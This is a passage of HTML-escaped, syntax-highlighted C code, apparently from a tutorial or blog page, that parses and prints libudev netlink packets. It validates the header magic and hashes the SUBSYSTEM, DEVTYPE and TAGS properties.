&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this_sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this_sz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;this_sz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;udev_packet_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// contains &amp;quot;libudev&amp;quot; with a null terminator&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;libudev_magic&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// contains 0xfeedcafe (big-endian)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// size of this header. *native* endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;header_sz&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// offset to the (null-terminated strings) properties. *native* endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;properties_off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// size of the properties. *native* endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;properties_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// hashes etc for filtering. big-endian&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;thing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thinglen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;thing&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thinglen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thinglen&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thinglen&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;print_udev_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;udev_packet_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Invalid packet!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Munge header endianness&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntohl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntohl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntohl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntohl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntohl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;libudev_magic&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;libudev&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;magic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xfeedcafe&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Invalid packet magic!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;hexdump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bufsz&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;print_kern_uevent_pkt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties_off&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Compute udev hashes&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_subsystem_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_devtype_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;propsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;properties_off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;propsz&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proplen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Special properties&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;propsz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SUBSYSTEM=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;actual_subsystem_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MurmurHash2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;propsz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DEVTYPE=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;actual_devtype_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MurmurHash2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;propsz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;TAGS=&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// skip leading :&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tagslen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tagslen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// Find &amp;#39;:&amp;#39; char separator&lt;/span&gt;
